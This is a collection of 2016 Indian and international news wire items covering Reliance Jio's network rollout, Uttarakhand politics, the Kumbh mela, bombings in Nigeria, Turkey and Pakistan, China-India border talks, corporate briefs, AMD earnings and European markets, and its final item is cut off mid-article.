As against the national average of 150 mb data usage, for Jio customers, who are getting free service now, it is 18 GB and the highest usage come from states like Assam and Jharkhand, Thakur told reporters. The average voice usage is over 250 minutes within the first month of test-rollout.

In a statement earlier in the day, Ambani, without proffering a timeline, said, "Jio will launch commercial operations in the coming months and it is test-programme has established smooth operations of all aspects of the network over half a million users. The initial feedback is very encouraging and has established smooth operations of all aspects of the network."



RIL Group Deputy CFO V Srikanth said the parent RIL will be investing over Rs 60,000 crore in capex in Jio this fiscal, an amount which is over Rs 1 trillion it has pumped in since bagging licence in 2010. At the Group level, the capex will be higher by Rs 30,000 crore at Rs 1.5 trillion.

The company has an equity capital of Rs 45,000 crore while the debt component is around Rs 33,000 crore.

On the number of LYF branded mobile handsets, he said they have already sold over 1.5 million units since November.

Asked whether Rel Jio will be bidding for the spectrum auctions in July, Thakur said the company is yet to take a call.

Thakur said of the over Rs 60,000 crore capex for the



telecom vertical, some money will be spent on widening the network coverage to 90 per cent as planned from the present 70 per cent of the population.

He further said the company has around 90,000 telecom towers now, half of which are radiating and owned by the RIL and rest on lease. At 90 per cent network coverage, the number of telecom masts will be over 1 lakh.

Some money, which is yet to be finalised, will have to be paid to RCom for sharing its towers as well, he said but declined to quantify it.

The company has already made an advance payment of Rs 2,800 crore to Reliance Communications (RCom), Thakur said.

Rel Jio holds 751.10 MHz of liberalised spectrum across the 800 MHz, 1800 MHz and 2300 MHz bands. In addition, RJIL has entered into agreements with RCom for change in spectrum allotment in the 800 MHz band for nine circles and sharing of spectrum in the 800MHz band across 17 circles.

"This arrangement will be extended to the balance circles as well subsequent to pending approvals from the government, such that RJIL will have pan-India spectrum in the 800MHz band in addition to 2300MHz band," the company added.

Earlier this week, Rel Jio launched a new 8,100 km cable system, the Bay of Bengal Gateway, which provides direct connectivity to Southeast Asia and West Asia, then onward to Europe, Africa and the Far East seamlessly.
Railway Minister Suresh Prabhu on Friday said his ministry has chalked out a plan to invest Rs 40,000 crore in different projects in Mumbai, blueprint of which will be prepared before August 15.

"I belong to this city. And not only me but all my colleagues know what needs to be done so ample attention would also be given to Mumbai," Prabhu said at the foundation stone laying ceremony of a foot-over-bridge at suburban Khar railway station here.

The minister said he has recently held a meeting with Maharashtra chief minister Devendra Fadnavis in this regard.

Read more from our special coverage on "RAILWAYS"

"I held a meeting with the chief minister, chairman of Railway Board and other senior railway officials and we have chalked out a plan to invest over Rs 40,000 crore. Its blueprint will be prepared before August 15," he said.

Prabhu said that the Central and the state government will collaborate to implement some of the big projects in the megapolis like elevated corridors between Chhatrapati Shivaji Terminus and Panvel; Churchgate-Virar elevated corridor project to be completed in two phases.

"I have personally spoken to senior officials to execute the work within stipulated time frame and if there is any technical glitch, I will personally see to it," he said.

Outlining his priority to turn Indian railway into a world-class transport medium, Prabhu claimed, "The way we have invested money through some extra budgetary resources, no other government in the past in its first two years tenure has done."

The minister later inaugurated a new foot-over-bridge at suburban Vile Parle station built with a cost of Rs 2.30 crore.

MP Poonam Mahajan, MLA Parag Alawani, Mumbai mayor Snehal Ambekar, MLA Ashish Shelar and other senior railway officials were also present on the occasion.

(Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.)
BJP today said the Supreme Court's stay on the Uttarakhand High Court order has "halted" the piquant situation created in the state and claimed Congress has much to answer for the political crisis there.

"There was a piquant situation created by the high court order and a prayer was made to the Supreme Court for a stay on its operation and restoring the situation where the governor was in charge of the state.

"It (Supreme Court's) is definitely an important order because it halts the piquant situation created in Uttarakhand whereby the Chief Minister immediately and without an order in writing available called a Cabinet meeting and started taking decisions," party spokesperson Nalin Kohli said.

Kohli is also a member of the legal team representing the Centre in the case.

The apex court has obviously appreciated the Centre's arguments and that is why it stayed the high court order's operation till the next date of hearing on April 27.

He said Rawat and Congress will have to answer a lot of questions as he accused the former chief minister of suppressing the fact that 27 MLAs of BJP in the state had demanded in writing a division of votes on March 18 over the passage of Appropriation bill in the Assembly.

Rawat's counsel later admitted to it, he said.

BJP spokesperson Sudhanshu Trivedi also dismissed Congress's charge that BJP was behind the rebellion in its ranks and saying the Opposition party has always faced desertion by its senior leaders whenever it was out of power in the Centre.

"Congress breaks whenever it is not in power," he claimed.

He cited a number of examples, including the decision to then senior party leaders Arjun Singh and N D Tiwari to float a new party when Congress was out of power during 1998-2004.
Braving scorching heat, a multitude of sadhus along with their disciples chanting 'Jai Shri Ram' took 'shahi snan' (royal bath) at Ramghat in Shipra river here this noon on the opening day of the month-long Simhastha-Kumbh mela.

People drawn from different parts of the country and abroad are taking part in the Kumbh mela, one of the largest congregations of Hindus, which for the first time is witnessing the participation of the transgenders, who have put up an Akhara (temporary monastery) and announced to take a holy dip at the Gandharav Ghat of Shipra on May 9.

"I am overwhelmed to be part of this awesome human gathering. I came here since yesterday," George Sauuahq, a Frenchman told PTI.

He said that he has come to India with a group of 12 persons from Paris.

"We made a point to stand witness to this mega event after coming to know about it," he said as he scrambled to shoot photos of the sadhus in different hues and attires at Ramghat.

Wheelchair-bound Tervani Devi (76) and her husband Durga Prasad (82) came to Shipra, that has been revived by pumping in the Narmada water, for the occasion, to take a holy dip, all the way from Hyderabad.

Tervani said that she was delighted after taking the royal bath.

Congress General Secretary Digvijay Singh also took a bath at Gaughat on the opening day of the Simhastha.

At around 8.15 AM a stampede like situation was witnessed at Chhoti Pool area at the entrance of Ramghat when large number of seers in processions descended for the royal bath.

However, the situation was brought under control by the authorities swiftly.

Bada Udasin Akhara Pontiff Raghu Muni Maharaj along with others squatted at Ramghat for a while and protested against the vehicular traffic in the mela area.

He said that the vehicular traffic was obstructing seers' way to the ghat. However, he lifted his protest after government officials intervene.

Earlier, the Kumbh mela kicked off with Naga Sadhu of



Juna Akhara venturing into the river around 5 AM. Their head, Avdheshnandji Maharaj, who came in a huge procession took the 'shahi snan' amid tight security arrangements.

"As of now, all things are going on smoothly. Around 25,000 security personnel including central forces have been deployed to conduct the 'shahi snan'," Inspector General of Police, Ujjain, Madhu Kumar told

(Reopens BOM 9)



"So far 20 lakh devotees, including seers, have taken a holy a dip in the river while five lakh more are expected to do so by midnight," Ujjain district collector Kavindra Kiyawat told
At least seven people were killed in a suicide bomb attack near a camp for those displaced by the Boko Haram conflict in northeast Nigeria, the has army said.

The attack happened early Wednesday in Banki, a town on the border with Cameroon some 130 kilometres (80 miles) southeast of the Borno state capital, Maiduguri.

"Seven people lost their lives. There were two suicide bombers," both women, army spokesman Colonel Sani Usman told AFP.

of the attack was slow to emerge because of the poor to non-existent telecommunications in the remote area.

Usman said one of the women failed to detonate her explosives and was arrested, despite being injured but a civilian vigilante said the second bomber died of her wounds on her way to hospital.

"Two female suicide bombers came by a checkpoint manned by CJTF (civilian joint task force) and the military at about 6:30 am (0530 GMT) yesterday (Wednesday)," the vigilante said.

"They successively detonated their explosives. One of them died instantly while the second one was badly injured.

"She died on the way to Maiduguri because she was evacuated along with the wounded. Seven people were killed including two women and their infants.

"A vigilante and two residents were also killed. Nine people were injured and we brought them to Maiduguri for medical attention."



Boko Haram has carried out suicide bombings often using women and girls as part of its armed campaign to establish an Islamic state in northern Nigeria.

Mosques, crowded markets, bus stations and military checkpoints have been frequent targets.

But in February, two female suicide bombers killed at least 58 at camp for those made homeless by the insurgency in Dikwa, some 90 kilometres from Maiduguri.

That attack raised security fears about the safety of internally displaced people (IDPs), whom the government is encouraging to return home.

Suicide bombers also tried to get inside one of the biggest IDP camps near Maiduguri in January after a Boko Haram attack on a nearby village that killed at least 85.
China and India should "meet each other halfway" to reach a "fair and reasonable" political solution to the border dispute acceptable to both sides, the Chinese Foreign Ministry has said in an indication of Beijing's willingness to make concessions on the vexed issue.

As National Security Advisor Ajit Doval, who along with his Chinese counterpart Yang Jiechi held border talks, concluded his visit here, China said in astatement that both sides had in-depth and candid exchanges on the boundary question, bilateral relations and relevant international and regional issues.

"Both sides agreed that the negotiation on China-India boundary maintains a positive momentum, with boundary disputes effectively controlled and boundary regions generally peaceful and stable," said the statement on the boundary talks held on April 20-21.

"Starting from the big picture of long-term development of bilateral relations, both sides will, with the positive attitude of mutual respect and understanding and on the basis of existing results from negotiations, stay on the track of political settlement, stick to peaceful negotiations to resolve the boundary question, meet each other halfway and continue to promote the process of framework negotiation so as to strive for a fair and reasonable solution that both sides accept," the statement posted on the foreign ministry website said.

China has rarely publicly talked about meeting India "half way" on the vexed boundary dispute.

The reference to both the countries to stay on track for a political settlement is seen as significant as officials on both side say negotiations have reached a stage for the political leadership on both sides to take a decision to reach a solution.

Doval's predecessor, Shivshankar Menon, who represented India in several rounds of the border talks, said in 2014 during a meeting here that all the technical work has been done and it is for the leaders of both the countries to take a call.

"In the meantime, the two countries should properly manage and handle disputes, strengthen consultations on boundary affairs and well safeguard peace and tranquillity in boundary regions so as to create favourable conditions for the development of bilateral relations," the statement said.

It said both sides shared the view that the development of China-India relations is of great significance and has broad prospects.

"China and India have far more common interests than differences. Marked by President Xi Jinping's visit to India in 2014 and the visit paid by Prime Minister Narenda Modi of India to China in 2015, China-India relations have entered a new era of comprehensive and rapid development," it said.

"Communication and cooperation in various fields have



also achieved important progress. The two sides should well implement the key consensus reached by the two heads of state, conduct close high-level exchanges and tap cooperation potential, so as to elevate China-India relations to a higher level," the statement said.

In New Delhi, External Affairs Ministry Spokesperson Vikas Swarup, on the border talks, said, "Discussions focussed on two broad issues -- one -- efforts to find a fair, reasonable and mutually acceptable solution to the boundary question -- and two --maintenance of peace and tranquillity in the border areas."



"On the first matter, both sides are discussing a framework and the 19th round carried forward these discussions. On the second issue, both sides agreed that no major incident had taken place in the last several months," Swarup said.

"They discussed various means to strengthen peace and tranquillity in the border areas. In this context both sides agreed to establish a hotline between the two armed forces and we will now work out the modalities. The NSA also exchanged views on various regional and international issues of mutual interest," he said.

On the border dispute, officials on both sides say the protracted boundary talks made progress and that they also made attempts to avert tensions along the disputed border.

While China says that the boundary dispute is confined to 2,000 km, mainly in Arunachal Pradesh in eastern sector which it claims as part of southern Tibet, India asserts that the dispute covered the whole of the Line of Actual Control (LAC) including the Aksai Chin area occupied by China during the 1962 war.

When the Special Representatives were appointed in 2003, the two sides set off a three-stage process.

The two countries first reached an agreement on the guiding principles and setting political parameters for the settlement in 2005.

Officials say the two sides are currently in the second stage which focusses on working out a framework of settlement to be followed by the final step of drawing the boundary line based on the framework agreement.
A prominent Pakistani Sikh doctor and politician was shot dead by unidentified gunmen here today.

Sardar Sooran Singh, who was also the Special Assistant to Chief Minister Khyber Pakhtunkhwa on Minority Affairs, was assassinated in Pir Baba area of Buner District of the province, police said.

The car of Singh was ambushed by unknown assailants on main road near a shrine.

The body of the special assistant has been shifted to the district headquarters hospital for postmortem, police said.

The Deputy Commissioner, ADC Buner and police officials rushed to the site.

Singh was a doctor, TV anchor, politician and Minister of Minorities of Khyber Pakhtunkhwa.
A prominent Pakistani Sikh politician was shot dead today by unidentified motorcycle- borne gunmen near his home in the country's restive northwest.

Sardar Sooran Singh, the Special Assistant to Chief Minister Khyber Pakhtunkhwa (KP) on Minority Affairs, was assassinated in Pir Baba area of Buner district in the province when he was going back to his home after a routine walk, police said.

He was immediately taken to a nearby hospital where he was declared dead. Police said that Singh had no guard at the time of attack.

Initial postmortem report stated that he received only one bullet in his head.

Nobody has claimed responsibility for the killing.

Governor KP Iqbal Zafar Jhagra, Special Assistant to KP Mushtaq Ghani and Provincial Ministers Shahram Tarakai have condemned the killing of Singh.

They vowed to bring to justice all those responsible for the killing.

Singh was a doctor, TV anchor and politician.

Before joining Pakistan Tehreek-e-Insaf in 2011, Singh was a member of Jamaat-e-Islami Pakistan for nine years.

He was also member of Tehsil council, Pakistan Sikh Gurdwara Prabandhak Committee and Evacuee Trust Property Board.

Singh also hosted programme 'Za Hum Pakistani Yam' for three and a half years with Khyber .
Members of the Sikh community today staged a protest here against actors Boman Irani and Vir Das- starrer 'Santa Banta' and burnt posters of the movie, alleging it "insulted" their religion.

The protesters, under the banner of Gurdwara Sri Guru Singh Sabha (GSGSS), protested in front of PVS Mall in Shastri Nagar, prompting the theatre's staff to cancel the screening of the film.

They also submitted a memorandum to the District Collector in this regard.
Online marketplace Snapdeal today said it will exclusively sell Maggi atta and oats noodles on April 24.

The company started the preregistration today that will continue till 1100 hrs on April 23. It is offering four packs of atta, four packs of oats, two bowls and Maggi branded diary for Rs 176.

"Pre-registered Maggi lovers can buy... During the exclusive sale on April 24 starting from 1000 hrs till 1500 hrs. Snapdeal is offering free shipping for the first 20,000 orders," Snapdeal said in a statement.

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Walmart partners Amplus Energy for green energy solutions * Walmart India has partnered Amplus Energy to provide green energy at its 15 modern wholesale stores spread across five states.

It has entered into a power purchase agreement with Amplus Energy Solutions (AES) to provide green energy at its stores, Walmart India, a wholly-owned subsidiary of US-based Walmart Stores, said in a statement.

The total capacity which will be provided using rooftop PV plants located at these stores is approximately 5 MW, it added.

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50 Taj properties get EarthCheck Gold Certification * EarthCheck has awarded Gold Certificate to 50 properties of Taj Hotels Resorts and places, making it the first group to be receive these many certificates in a year, for reduction in energy, water and waste.

EarthCheck Founder and CEO Stewart Moore said Taj is the first hotel group in the world to have 50 hotels achieve Gold Certification in the same year, having completed a minimum of five years of continuous benchmarking through EarthCheck Certified.

The properties include Rambagh Palace, Jaipur, Taj 51 Buckingham Gate Suites and Residences, London, have been awarded EarthCheck Gold Certification, with data revealing an average 28.6 per cent reduction in energy, water and waste and saving USD 6,107,585 for the group.

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Nittsu Logistics to set up warehouse in SriCity SEZ * Nittsu Logistics, a subsidiary of Tokyo-based Nippon Express, today performed the ground breaking ceremony for setting up its warehouse in Sri City Special Economic Zone near Chennai.

Nippon Express, South Asia and Oceania, Managing Director, Yasunori Takahashi performed the ground breaking ceremony along with senior officials including Sri City, SEZ, Managing Director, Ravindra Sannareddy at a function held at the Sri City SEZ in Tada, the company said in a statement.

The warehouse is spread across 22 acre and is expected to become operational by March 2017.

Udacity aims to upskill 1 lakh engg graduates by 2017



* Online education company Udacity in collaboration with Venturesity aims to bridge the skills gap in IT industry through innovative learning solutions and targets to upskill 1 lakh engineering students by 2017.

In order to bridge the hiring challenge in the IT industry in the country, Udacity has launched it's #BeInDemand campaign which helps engineers to upskill themselves., it said.

"Big data, data science, mobile and cloud computing will drive jobs in the IT industry in the next decade. With our new campaign #BeinDemand we are aiming to upskill 1 Lakh engineering graduates across the country and make them easily employable for the best in the industry," Vardhan Koshal, Country Head, India at Udacity, said.

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Coursera, PwC to launch specialisation on Data Analysis * Online education platform, Coursera toady said it has partnered with PwC to launch Specialisation on 'Data Analysis and Presentation Skills'.

Under the pact, PwC will offer a series of widely available courses for anyone who could benefit from learning more about business analytics. This collaboration will also allow PwC's people to improve their internal learning and development.

The specialisation includes five courses -- Data-driven Decision Making, Problem Solving with Excel, Data Visualisation with Advanced Excel and Effective Business Presentations with PowerPoint.

"We are delighted that PwC will now be able to help educate high potential people all around the world in these key skills through our platform," Rick Levin, Coursera's founder and CEO said.

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PNB MetLife launches plan for long-term investments * PNB MetLife today announced the launch of its first online ULIP - Mera Wealth Plan - a comprehensive and flexible online plan.

The product offers multiple options to help plan for long-term investment goals or protection needs of customers linked to retirement, child education, or any other need-based requirement, PNB MetLife said in a statement.

It also provides loyalty additions every year from end of 6th policy year till maturity.

Ernst & Young keen to work with Jharkhand govt



* Accounting firm Ernst & Young (EY) today evinced interest in working with the Jharkhand government.

George Attalla, Partner & Global Leader, Government & Public Sector at EY, called on Jharkhand Chief Minister Raghubar Das here.

Attalla appreciated the works being done in the state, an official release said.

During the meeting, he evinced interest in assisting the state government departments.

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Nangia & Co's Rakesh Nangia takes over as ICBC President * Nangia & Co Managing Partner Rakesh Nangia has taken over as the President of Indo-Canadian Business Chamber (ICBC).

A tax expert, Nangia has been in the field of taxation for 35 years and on the Board of several Business Chambers and PSU.

"I look forward to working with distinguished members of ICBC and promoting Canadian Business in India addressing the needs of business community," Nangia said.

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Vedanta bags Best Exporter's Award



* Vedanta Ltd, Jharsuguda has been awarded Best Exporter's Award for 2014-15 in Odisha in recognition of its impressive show in the export of aluminium products.

While the Best Exporter's Award was given to Vedanta for 2014-15 when it achieved a total export of Rs 3,912 crore, the company bagged "Certificate of Excellence Award for 2013-14" with a total export of Rs 2,840 crore.

The award was presented by Odisha Finance Minister Pradip Amat and MSME Minister Jogendra Behera at a function organised by the MSME department of state government here recently, a company release said today.

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Snapdeal awards another project to IBSFINtech * IBSFINtech, provider of niche financial software for Forex, Treasury and Trade Finance management, today announced that e-commerce major Snapdeal has continued its engagement with it as its IT Solution partner for Treasury and Risk Management by awarding another project.

The new project was implemented in a record period of 30 days and went live on September 12, the city-based company said here.

IBSFINtech was awarded the first project in March 2015, to efficiently manage treasury operations at Snapdeal.

This time, Snapdeal required a solution partner to facilitate efficient financial operations management and risk management at its recent acquisitions of Freecharge, Vulcan Express, it said in a release here.

"Having proven their capabilities in the first project, IBSFINtech proved to be a strong candidate when new opportunities arose in the company," IBSFINtech said.
Three Turkish soldiers were killed and others wounded today by a roadside bomb in the Kurdish majority southeast of the country, medical and military sources said.

The explosion was caused by a home-made bomb on the side of a road between Tunceli and Elazig in a region caught up in bloody reprisals between the army and rebels from the outlawed Kurdistan Workers' Party (PKK).

The attack prompted a swift response from the Turkish army, with helicopters dropping bombs on the rebels' escape routes in the region, an AFP journalist at the scene reported.

Security forces blocked the road to traffic.

Fierce clashes between the Turkish state and the PKK resumed in late July, upending a two-year ceasefire that had nurtured hopes of an end to a three-decade insurgency which has claimed tens of thousands of lives.

The PKK took up arms in 1984 with the aim of establishing an independent state for Turkey's Kurdish minority, although in recent years its demands have focused on greater autonomy and cultural rights.

Turkey has waged an offensive against the PKK after the collapse of the fragile truce. The renewed conflict has also struck at the heart of the country, with two attacks that killed dozens of people in the capital Ankara claimed by Kurdish rebels.

A radical PKK splinter group, the Kurdistan Freedom Falcons (TAK), claimed responsibility for the two suicide car bombings in Ankara on February 17 and March 13.
Two power distribution companies of Andhra Pradesh government today acquired a 216 MW gas-based power plant at Jegurupadu in East Godavari district from private operator GVK Industries for Rs 261.27 crore.

The plant has been renamed as Godavari Gas Power Plant, according to managing director of AP Power Generation Corporation K Vijayanand.

Vijayanand, who is also CMD of Power Transmission Corporation of AP, signed the sale agreement and handed over a cheque for Rs 261.27 crore to representatives of GVK today.

This is the first time the public sector discoms have acquired a power plant from a private operator.

GVK ran the plant from 1996 and had a power purchase agreement with four power discoms in unified Andhra Pradesh. The PPA ended in June 2015.

Subsequently, the two discoms in the bifurcated state got a comprehensive assessment of the plant's operability and also got its value appraised by an independent appraiser as per the terms of the PPA.

Though GVK quoted Rs 293.37 crore for the plant, the independent appraiser valued it at Rs 261.27 crore.

While the total life of the gas-based power plant is 30 years, it has a balance of 12 years after having run for 18 years now.
Apple confirmed today its iTunes Movies and iBooks service have become unavailable in China, after reports authorities ordered them to be taken offline.

"We hope to make books and movies available again to our customers in China as soon as possible," a spokeswoman for Apple, the US technology giant, said in a statement.

The services, launched less than seven months ago in China, were shut down last week on demand from the State Administration of Press, Publication, Radio, Film and Television, the New York Times cited unnamed sources as saying.

Apple did not give a reason for the closedown.

Beijing keeps a tight grip on broadcast, print and online media, while restricting access to foreign websites including Google, Facebook and Twitter with a vast control network dubbed the Great Firewall of China.

Content deemed politically sensitive, violent or morally "unhealthy" is regularly blocked in the country.

China is a key market for Apple, where its products are widely popular, but it has previously been targeted by state-run media over issues such as service and pricing.

State broadcaster CCTV in 2014 accused the California-based company of threatening national security through the iPhone's ability to track a user's location, a threat Apple quickly denied.

The two Apple services compete directly with Chinese firms, New York Times said, suggesting the latest official scrutiny might be driven by government desire to support domestic companies.

Greater China including Hong Kong and Taiwan is Apple's second-largest market after the America and the company relies on the region to drive growth, according to the firm's report for the first quarter of 2016.
Two soldiers were killed and another injured today when an improvised landmine exploded near a check post in Pakistan's restive northwestern tribal region.

One soldier died on the spot and the second one succumbed to his injuries in a hospital, said a statement issued by Frontier Constabulary paramilitary force.

The injured soldier was taken to a nearby hospital, the statement said.

The landmine exploded near a check post ofThall Scoutsin lower Kurram agency, bordering Afghanistan.

Security forces have cardoned off the entire area and started combing operation. They also targeted the hideout of the militants after the blast.
The Uttarakhand Cabinet today decided to convene a session of the Assembly on April 29, paving the way for Chief Minister Harish Rawat to go for a floor test as directed by the High Court.

In a Cabinet meeting, chaired by Rawat, it was decided to convene a session of the Assembly on April 29 as per the direction of the Uttarakhand High Court, Rawat's media advisor Surendra Kumar told PTI.

The High Court had yesterday quashed the imposition of President's rule in the state and revived the Congress government headed by Rawat, who has been asked to prove his majority in the Assembly on April 29.
Urban Development Ministry has asked the 20 cities, selected for smart cities in the first round, to "quickly firm up" bankable projects for obtaining loan from the Asian Development Bank (ADB), the World Bank and the BRICS Development Bank.

Urban Development Secretary Rajiv Gauba said this during a review meeting here with the officials of eight smart cities, namely Ahmedabad, Surat, Pune, Bhubaneswar, Udaipur, Jaipur, Ludhiana and Jabalpur.

While BRICS Development Bank is "keen to support" smart city projects, the ADB has in-principle agreed to extend a loan of USD 1 billion and the World Bank USD 0.50 billion for the implementation of Smart City Mission, according to an official release.

Gauba also stressed on mobilisation of resources through Municipal Bonds and urged the cities to act quickly to obtain credit ratings from agencies approved by the Securities and Exchange Board of India (SEBI).

He said process for credit rating of 85 cities has already begun under Atal Mission for Rejuvenation and Urban Transformation (AMRUT) and all the 500 mission cities shall complete this process in the next one year, according to the release.

The eight cities that participated in the review meeting furnished details of the projects--including affordable housing, water supply, sewage treatment plants, transport, smart street lighting, and solid waste management--that could be launched by June.
The US today expressed concern over Pakistan's continued tolerance for terrorist groups like Haqqani network and said that it has raised this issue at the highest level with the authorities in Islamabad.

"We have consistently expressed our concerns at that the highest level of the government of Pakistan about their continued tolerance for Afghan Taliban groups, such as the Haqqani network, operating from Pakistani soil," State Department Spokesman Elizabeth Trudeau said.

America's concerns were raised with Pakistan again after the dreaded terrorist attack in Kabul this week in which more than 70 people were killed.

Afghan authorities have blamed this to the Haqqani network and alleged this had the backing of the Pakistani establishment.

"We have pressed the government of Pakistan to follow up on its expressed commitment not to discriminate between terror groups, regardless of their agenda or their affiliation by undertaking concrete action against the Haqqanis," Trudeau said in response to a question.

Pakistani authorities have reiterated their commitment that they will not discriminate against those groups, she noted.

"We continue to call on them to live up to that commitment," the State Department spokesperson said.

"I think words matter and we continue to encourage them to have their actions match those words," Trudeau said responding to Afghan allegations that Pakistanis helped the Haqqani network in this Kabul attack.

"Any attack the Haqqani group conducts is not possible without Pakistan's help and this has been repeatedly proven in the last 14 years," a presidential spokesman, Dawa Khan Meenapal, was quoted as saying by Voice of America today.
Amid the US' push to expand cooperation with India in the space sector, the country's nascent private space industry has expressed its opposition to the large scale use of low cost ISRO launch vehicles for putting American satellites into orbits.

Such a move, corporate leaders and officials of the fast- emerging American private space industry told lawmakers this week would be detrimental to the future health of the private sector US space companies as it would be tough for them to compete against low-cost Indian Space Research Organisation (ISRO) launch vehicles, which they alleged are subsidised by the Indian government.

"I think the concern about using Indian boosters is not so much the transfer of sensitive technology to a nation that is a fellow democracy, but rather whether the Indian launches are subsidised by the government to a degree that other market actors would be priced out of the market," Elliot Holokauahi Pulham, CEO of Space Foundation, said.

Testifying before a Congressional committee, Pulham said there has been some discussion about allowing US built satellites to fly on boosters such as the Indian PSLV.

Eric Stallmer, president Commercial Spaceflight Federation, opposed efforts to facilitate a government- subsidised foreign launch company.

"In this case, India, to compete with US companies. Such policy runs counter to many national priorities and undermines the work and investment that has been made by the government and industry to ensure the health of the US commercial space launch industrial base," Stallmer said.

He said the challenge right now is that the satellite manufacturers are making satellites at a quicker rate right now than the US has the launch capability.

So a satellite is not making money while it's sitting on the ground, he said.

"Currently, the Indian launch vehicle PSLV has a sweet spot and has the capability of launching some of these satellites right now in a timely manner. We don't want to see US launches going overseas by any means, whether it's to India, Russia or whomever else. But right now, from the satellite, you know, producers and manufacturers, they need to get their assets up in the sky as quick as possible," Stallmer said.

Noting that the current policy with the waivers and the review is a sound policy, he said the US should stringently look at every launch that is taking place in every vehicle or every payload that the US are putting up on an Indian vehicle.

"I think it really needs to be evaluated. We hope to phase this out as a new generation of launched vehicles come online," Stallmer said.
On Earth Day, WWF India and a global technology company signed an agreement which aims at providing infrastructure support to frontline forest guards and field staff monitoring various wildlife species, including tiger, elephants and rhinos.

"Forest guards and field staff supporting WWF-India's conservation endeavours across states protect the country's natural heritage.

"It is to boost their morale and fortify monitoring and vigilance efforts across conservation projects in the country that WWF-India and Ricoh India signed the 'Project Nature Watch' partnership on the occasion of Earth Day 2016," a WWF India statement said.

"The project aims at providing need-based infrastructure support to frontline and field staff working in the forest and marine areas respectively, for monitoring species such as the red panda, snow leopard, tiger, elephant, rhino, Olive Ridley turtle and other threatened fish diversity, coral reefs, cetaceans and marine mammals," it said.

Under the collaboration, around 200 high-end Pentax binoculars will be handed over to the frontline staff of forest departments of Arunachal Pradesh, Assam, Chhattisgarh, Madhya Pradesh, Maharashtra, Rajasthan, Sikkim and West Bengal to support wildlife monitoring and patrolling activities.

"These binoculars will not only help improve vigilance capacity of the staff but also keep them motivated and interested in wildlife," it said.

The water-proof cameras will also be extensively used by the WWF India team working in marine habitats across five coastal states of Gujarat, Goa, Kerala, Andhra Pradesh, Odisha and Lakshadweep Islands.

"The cameras will go a long way in helping monitor marine biodiversity in these locations and assessing the distribution, population status, health and behavior of several priority species," the statement said.

All the equipment will be manufactured by Ricoh Imaging Corporation in Japan.

"Frontline staff in forests are the protectors of our



natural habitats, responsible for safeguarding wildlife populations. In coastal areas, our field staff ensure safety of several marine species. Such joint collaborations are contributory to conservation measures in the country," said Ravi Singh, CEO, WWF India.

A T Rajan, MD and CEO, Ricoh India said the company strives to realise a sustainable ecosystem by not only reducing environmental impact in its operations and product usage but also by maintaining and improving Earth's self-recovery capabilities and biodiversity.

"We are hopeful this collaboration will lead towards prosperous biodiversity of our nation and natural capital for Earth at large," he said.
Union Home Minister Rajnath Singh today said yoga cannot be identified with any religion and people who think so lack integrity, coordination and balance.

The Minister said yoga has a universal appeal and more than 170 countries, including 66 Muslim nations, had backed the resolution on the International Yoga Day in the United Nations General Assembly.

"Sometimes when people talk about yoga, they say it is related to a religion. How can it be? 66 Islamic countries of world's largest Assembly of United Nations supported it, besides those with Christians, Jews and Parsis," Singh said, adding, this was the first time in the history of the UN that a resolution received such widespread support.

This success we owe to the vision of Prime Minister Narendra Modi, he said at the concluding ceremony of International Yoga Festival organized in the run-up to the second International Yoga Day.

Asserting that yoga cuts across all religions, he said its practice helps in achieving coordination, balance and unity between the body, mind, intellect and soul.

"It has only cultural identity and not religious. People who think so, lack coordination, balance and integrity.

"Yoga is an invaluable cultural heritage of India and is now being practiced in all continents. This leads to a balanced human being which forms the basis of a balanced society, leading eventually to a balance in the natural world and oneness with its creator," he said.

This year, the International Yoga Day event will be held in Chandigarh on June 21 as the government plans a bigger programme than the maiden one at Rajpath last year.

Heaping praises at BJP government, yoga guru Baba Ramdev said the export of cow to Bangladesh for slaughtering has come down by 99 per cent.

"Crores of cows were exported to Bangladesh for slaughtering. It has been reduced by 99 per cent under the leadership of Rajnath Singhji," Ramdev said.

The three day International Yoga Festival was organised to portray different activities being planned and to be conducted by different yoga organisations, ministries, government departments and other organisations.

"Last three days have witnessed unprecedented amalgamation of thoughts and ideas on various aspects of yoga expressed by various aspects of yogic gurus and eminent yoga experts from across the country and a few from abroad," Ayush Minister Shripad Yesso Naik said.
AMD also reported a lower-than-expected drop in revenue for the third quarter in a row due, in part, to the licensing deal, helping send the company's shares surging 21 percent in trading after the bell on Thursday.

The company forecast second-quarter revenue would grow 15 percent, plus or minus 3 percent, sequentially, which translates to $928.1 million to $985.5 million.

That implies revenue could be higher than the $942 million from a year earlier. Analysts on average were expecting revenue to fall to $887.8 million, according to Thomson I/B/E/S.

AMD said on Thursday it signed a $293 million agreement to license its processor technology to a joint venture it formed with Tianjin Haiguang Advanced Technology Investment Co Ltd, an investment unit of the Chinese Academy of Sciences.

The technology will help China produce its own server chips for datacenters, a market dominated by Intel Corp , one of AMD's biggest rivals along with Nvidia Corp .

"This deal is at least one victory lap on monetizing its IP. I expect more to come in the future, especially with GPUs (graphic processing units)," Moor Insights & Strategy analyst Patrick Moorhead said.

AMD said it expects the licensing deal to add about $52 million to 2016 revenue, with $7 million already recognised in latest first quarter.

Chief Executive Lisa Su said AMD's revenue would increase more than usual on a sequential basis this quarter due to strong demand for its graphics chips and semi-custom chips, designed to suit customers' specific needs.

AMD is slated to ship its Polaris GPUs in the middle of the year, which it hopes will lead to revenue growth in 2016 after 2015 revenue declined 27.5 percent.

The company's first-quarter revenue fell 19.2 percent year-over-year, to $832 million, but beat analysts estimates of $818.2 million.

Net loss narrowed to $109 million, or 14 cents per share, from $180 million, or 23 cents per share. Excluding items, AMD lost 12 cents per share. Analysts were expecting a loss of 13 cents.

AMD's shares were up 21 percent at $3.17 in extended trading. They had fallen 8.7 this year through Thursday's close, while the broader semiconductor index had gained 0.6 percent.

(Reporting by Kshitiz Goliya and Rishika Sadam in Bengaluru; Editing by Sayantani Ghosh and Savio D'Souza)
By Atul Prakash

LONDON (Reuters) - European shares fell for a second day on Friday as automaker Daimler reported disappointing results and said it planned to investigate its emissions certifications. Poor sales also hit luxury group Kering.

The pan-European FTSEurofirst 300 index was down 0.5 percent by 0810 GMT, although it was still headed for a second straight week of gains.

The European auto sector index fell 2.6 percent fell the most, dragged down by a 5.6 percent drop in Daimler after it reported first-quarter operating profit fell 9 percent.

Daimler also said the U.S. Department of Justice asked it to investigate its emission certification in United States.

Rival PSA Peugeot Citroen fell 3.2 percent after it was raided by anti-fraud investigators on Thursday as part of investigations into auto pollutants.

